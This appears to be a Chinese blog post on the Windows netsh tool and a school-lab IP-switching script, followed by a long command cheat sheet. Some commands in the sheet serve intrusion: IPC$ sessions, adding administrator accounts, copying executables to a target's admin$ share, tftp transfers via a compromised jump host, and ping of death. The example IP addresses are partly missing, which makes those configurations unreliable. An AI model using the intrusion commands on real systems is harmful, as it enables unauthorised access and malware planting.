netsh命令介绍方案.doc

netsh命令介绍方案netsh命令介绍方案2011-04-15 19：42(这个blog系统自动把windows的路径分隔符号右斜线自动屏蔽了，我只好用/代替。阅读时候请注意)netsh是windows系统本身提供的功能强大的网络配置命令行工具。导出配置脚本：netsh-c interface ip dump c：/interface.txt导入配置脚本：netsh-f c：/interface.txt进入netsh环境后，在根级目录用exec命令也可以加载一个配置脚本。还有对wins、route、ras等网络服务的配置也可以通过Netsh的内置命令操作。下面是配置示例：C：/Documents and Settings/Administrator netsh/?用法：netsh-a AliasFile-c Context-r RemoteMachine-uDomainNameUserName-p Password|*Command|-f ScriptFile下列指令有效：此上下文中的命令：?-显示命令列表。aaaa-更改到netsh aaaa上下文。add-在项目列表上添加一个配置项目。delete-在项目列表上删除一个配置项目。dhcp-更改到netsh dhcp上下文。diag-更改到netsh diag上下文。dump-显示一个配置脚本。exec-运行一个脚本文件。help-显示命令列表。interface-更改到netsh interface上下文。ipsec-更改到netsh ipsec上下文。ras-更改到netsh ras上下文。routing-更改到netsh routing上下文。rpc-更改到netsh rpc上下文。set-更新配置设置。show-显示信息。wins-更改到netsh wins上下文。下列的子上下文可用：aaaa dhcp diag interface ipsec ras routing rpc wins家庭网络自动配置：home.cmd ip-home.txt home.cmd：echo offecho.echo*Ip切换器By蒋进平*echo.echo正在设置成家庭网络IP，请稍等.&netsh-f c：/iphome.txtecho设置成功，现在可以使用家庭网络了echo.echo*2004年8月30号*echo.pauseexitip-home.txt：#-#接口IP配置#-pushd interface ip#本地连接的接口IP配置set address name=本地连接source=static addr=0 mask= set address name=本地连接gateway= gwmetric=0set dns name=本地连接source=static addr=10 register=NONEadd dns name=本地连接addr=11 index=2set wins name=本地连接source=static addr=nonepopd#接口IP配置结束Netsh概述Netsh是命令行脚本实用工具，它允许从本地或远程显示或修改当前正在运行的计算机的网络配置。Netsh还提供了一个脚本功能，对于指定计算机，可以通过此功能以批处理模式运行一组命令。为了存档或配置其他服务器，Netsh也可以将配置脚本保存在文本文件中。netsh命令的强大没有人会怀疑，有经验的管理员都会深深会到这一点；以前有很多介绍netsh命令的文章，今天我们从另一方面感受一下netsh命令的神奇。笔者管理学校的两个机房，每个机房有50台机器，每台机器都装有还原卡，每次重启系统都会自动还原；拉了条ADSL通过ISA上网，学校规定，学生帐号登陆不能上网，而老师通过自己帐号登陆则可以上网；机房白天一般都是学生上课用，晚上留给老师上网查资料。要完成学校的任务还真有点困难，大家都知道实现上网权限的控制，大多情况下都是通过IP地址来实现(当然，ISA在AD的支持下是可以通过帐户来实现上网权限的控制，这不是本文讨论范围内)，也就是说如果老师要internet的话，就必须通过网上邻居属性更改计算机的IP地址，一百来台机器，如果要我一个人每天手动更改，那还不要我命；如果让那些菜鸟老师更改，还不如杀了我，都教了N次了，还是不会。netsh可帮了大忙，下面我们来领略一下他的神奇。网络环境：win2ks+isa2k做上网服务器IP：,subnetmask：,DNS为ISP的DNS IP：0客户机全部win2kpro IP：-02 subnetmask：网关和DNS都为代理服务器的IP：并且都装了ISA的防火墙客户端软件。在默认情况下，客户机是全部不能上internet的，ISA的规则上是禁止-02的IP上internet,另外在ISA再创建一规则，允许03-03上internet(这不是本文的重点，如果有需要，大家可以查看相关资料)。现在netsh派上用场了，我们客户机PC18上运行CMD进入MS-DOS，输入netsh interface ip dump c：pc1.txt该命令是显示当前本地连接的接口IP配置,并保存在pc1.txt文本文件中我查看一下c：pc1.txt这个文件显示的是当前本地连接的接口的IP配置,我们用命令ipconfig/all看看当前接口的配置是否和pc1.txt这个文件一样可以看到两者是一样的.我们打开PC1.TXT这个文件,把set address name=本地连接source=static addr=8的IP 8改为18,再保存.然后,我们用记事本新建一个文件,输入netsh-f c：pc1.txt注意文件的路径,我们刚才是把pc1.txt放在C盘根目录下,另存为ip.bat,并放在老师帐户的桌面上,并授予老师帐户读取和运行的权限,别的帐户为禁止.老师用自己的帐户登陆后,双击桌面上的ip.bat图标后,我们用ipconfig/all看看结果显示IP地址换成18了,别的配置都没有变,可以和图3比较一下.我们知道03 03的IP地址是可以上网的.也就是说,如果老师想上网的话,只要双击IP.BAT这个文件就可以了；以上的设置是在PC18这台机器上做的,如果我们要在别的机器上设置,我们只在把PC1.TXT这个文件的里的IP地址换成03-03范围内的IP(当然要保证使用的IP是唯一的,以免产生IP冲突),再新建一个ip.bat文件,内容可以一样,不过要注意pc1.txt这个文件的路径；补允一点,老师帐户都为管理员组,学生帐户为普通用户组。通过以上设置,基本上达到我们的目的,老师晚上上机的时候,只要双击桌面上ip.bat这个文件,IP地址就会换成03 03这个网段的IP,也就是说可以上网了,第二天电脑重启,因为有还原卡,机器又会被变成 02这个网段的IP,也就不能上网了.通过netsh这个命令,我们能感觉到他的强大,可以为我们免去一些烦锁的事情。net useipipc$/user：建立IPC空链接net useipipc$密码/user：用户名建立IPC非空链接net use h：ipc$密码/user：用户名直接登陆后映射对方C：到本地为H：net use h：ipc$登陆后映射对方C：到本地为H：net useipipc$/del删除IPC链接net use h：/del删除映射对方到本地的为H：的映射net user用户名密码/add建立用户net user guest/active：yes激活guest用户net user查看有哪些用户net user帐户名查看帐户的属性net localgroup administrators用户名/add把用户添加到管理员中使其具有管理员权限,注意：administrator后加s用复数net start查看开启了哪些服务net start服务名开启服务；(如：net start telnet，net start schedule)net stop服务名停止某服务net time目标ip查看对方时间net time目标ip/set设置本地计算机时间与目标IP主机的时间同步,加上参数/yes可取消确认信息net view查看本地局域网内开启了哪些共享net viewip查看对方局域网内开启了哪些共享net config显示系统网络设置net logoff断开连接的共享net pause服务名暂停某服务net send ip文本信息向对方发信息net ver局域网内正在使用的网络连接类型和信息net share查看本地开启的共享net share ipc$开启ipc$共享net share ipc$/del删除ipc$共享net share c$/del删除C：共享net user guest 12345用guest用户登陆后用将密码改为12345 net password密码更改系统登陆密码netstat-a查看开启了哪些端口,常用netstat-an netstat-n查看端口的网络连接情况，常用netstat-an netstat-v查看正在进行的工作netstat-p协议名例：netstat-p tcq/ip查看某协议使用情况(查看tcp/ip协议使用情况)netstat-s查看正在使用的所有协议使用情况nbtstat-A ip对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名(03前的为用户名)-注意：参数-A要大写tracert-参数ip(或计算机名)跟踪路由(数据包)，参数：-w数字用于设置超时间隔。ping ip(或域名)向对方主机发送默认大小为32字节的数据，参数：-l空格数据包大小；-n发送数据次数；-t指一直ping。ping-t-l 65550 ip死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)ipconfig(winipcfg)用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数/all显示全部配置信息tlist-t以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的S upport/tools文件夹内)kill-F进程名加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)del-F文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如DEL/AR*.*表示删除当前目录下所有只读文件，DEL/A-S*.*表示删除当前目录下除系统文件以外的所有文件二：del/S/Q目录或用：rmdir/s/Q目录/S删除目录及目录下的所有子目录和文件。同时使用参数/Q可取消删除操作时的系统确认就直接删除。(二个命令作用相同)move盘符路径要移动的文件名存放移动文件的路径移动后文件名移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖fc one.txt two.txt 3st.txt对比二个文件并把不同之处输出到3st.txt文件中，和是重定向命令at id号开启已注册的某个计划任务at/delete停止所有计划任务，用参数/yes则不需要确认就直接停止at id号/delete停止某个已注册的计划任务at查看所有的计划任务atip time程序名(或一个命令)/r在某时间运行对方某程序并重新启动计算机finger usernamehost查看最近有哪些用户登陆telnet ip端口远和登陆服务器,默认端口为23 open ip连接到IP(属telnet登陆后的命令)telnet在本机上直接键入telnet将进入本机的telnet copy路径文件名1路径文件名2/y复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件copy c：srv.exeipadmin$复制本地c：srv.exe到对方的admin下cppy 1st.jpg/b+2st.txt/a 3st.jpg将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件copyipadmin$svv.exe c：或：copyipadmin$*.*复制对方admini$共享下的sr v.exe文件(所有文件)至本地C：xcopy要复制的文件或目录树目标地址目录名复制文件和目录树，用参数/Y将不提示覆盖相同文件tftp-i自己IP(用肉机作跳板时这用肉机IP)get server.exe c：server.exe登陆后，将IP的server.exe下载到目标主机c：server.exe参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i则以ASCII模式(传送文本文件模式)进行传送tftp-i对方IP put c：server.exe登陆后，上传本地c：server.exe至主机ftp ip端口用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送(可执行文件进)；默认为ASCII格式传送(文本文件时)route print显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface arp查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp-a将显示出全部信息start程序名或命令/max或/min新开一个新窗口并最大化(最小化)运行某程序或命令mem查看cpu使用情况attrib文件名(目录名)查看某文件(目录)的属性attrib文件名-A-R-S-H或+A+R+S+H去掉(添加)某文件的存档，只读，系统，隐藏属性；用+则是添加为某属性dir查看文件，参数：/Q显示文件及目录属系统哪个用户，/T：C显示文件创建时间，/T：A显示文件上次被访问时间，/T：W上次被修改时间date/t、time/t使用此参数即DATE/T、TIME/T将只显示当前日期和时间，而不必输入新日期和时间set指定环境变量名称=要指派给变量的字符设置环境变量set显示当前所有的环境变量set p(或其它字符)显示出当前以字符p(或其它字符)开头的所有环境变量pause暂停批处理程序，并显示出：请按任意键继续.if在批处理程序中执行条件处理(更多说明见if命令及变量)goto标签将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行，且以冒号打头，例如：start标签)call路径批处理文件名从批处理程序中调用另一个批处理程序(更多说明见call/?)for对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)echo on或off打开或关闭echo，仅用echo不加参数则显示当前echo设置echo信息在屏幕上显示出信息echo信息pass.txt将信息保存到pass.txt文件中findstrHelloaa.txt在aa.txt文件中寻找字符串hello find文件名查找某文件title标题名字更改CMD窗口标题名字color颜色值设置cmd控制台前景和背景颜色；0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白prompt名称更改cmd.exe的显示的命令提示符(把C：、D：统一改为：EntSky)print文件名打印文本文件三：ver在DOS窗口下显示版本信息winver弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)format盘符/FS：类型格式化磁盘,类型：FAT、FAT32、NTFS,例：Format D：/FS：NTFS md目录名创建目录replace源文件要替换文件的目录替换文件ren原文件名新文件名重命名文件名tree以树形结构显示出目录，用参数-f将列出第个文件夹中文件名称type文件名显示文本文件的内容more文件名逐屏显示输出文件doskey要锁定的命令=字符doskey要解锁命令=为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky(不能用doskey dir=dir)；解锁：doskey dir=taskmgr调出任务管理器chkdsk/F D：检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口exit退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe path路径可执行文件的文件名为可执行文件设置一个路径。cmd启动一个win2K命令解释窗口。参数：/eff、/en关闭、开启命令扩展；更我详细说明见cmd/?regedit/s注册表文件名导入注册表；参数/S指安静模式导入，无任何提示；regedit/e注册表文件名导出注册表cacls文件名参数显示或修改文件访问控制列表(ACL)-针对NTFS格式时。参数：/D用户名：设定拒绝某用户访问；/P用户名：perm替换指定用户的访问权限；/G用户名：perm赋予指定用户访问权限；Perm可以是：N无，R读取，W写入，C更改(写入)，F完全控制；例：cacls D：test.txt/D pub设定d：test.txt拒绝pub用户访问。cacls文件名查看文件的访问用户权限列表REM文本内容在批处理文件中添加注解netsh查看或更改本地网络配置情况四：IIS服务命令：iisreset/reboot重启win2k计算机(但有提示系统将重启信息出现)iisreset/start或stop启动(停止)所有Internet服务iisreset/restart停止然后重新启动所有Internet服务iisreset/status显示所有Internet服务状态iisreset/enable或disable在本地系统上启用(禁用)Internet服务的重新启动iisreset/rebootonerror当启动、停止或重新启动Internet服务时，若发生错误将重新开机iisreset/noforce若无法停止Internet服务，将不会强制终止Internet服务iisreset/timeout Val在到达逾时间(秒)时，仍未停止Internet服务，若指定/reboo tonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。FTP命令：(后面有详细说明内容)ftp的命令行格式为：ftp-v-d-i-n-g主机名-v显示远程服务器的所有响应信息。-d使用调试方式。-n限制ftp的自动登录,即不使用.netrc文件。-g取消全局文件名。help命令或?命令查看命令说明bye或quit终止主机FTP进程,并退出FTP管理方式.pwd列出当前远端主机目录put或send本地文件名上传到主机上的文件名将本地一个文件传送至远端主机中get或recv远程主机文件名下载到本地后的文件名从远端主机中传送至本地主机中mgetremote-files从远端主机接收一批文件至本地主机mput local-files将本地主机中一批文件传送至远端主机dir或lsremote-directorylocal-file列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件ascii设定以ASCII方式传送文件(缺省值)b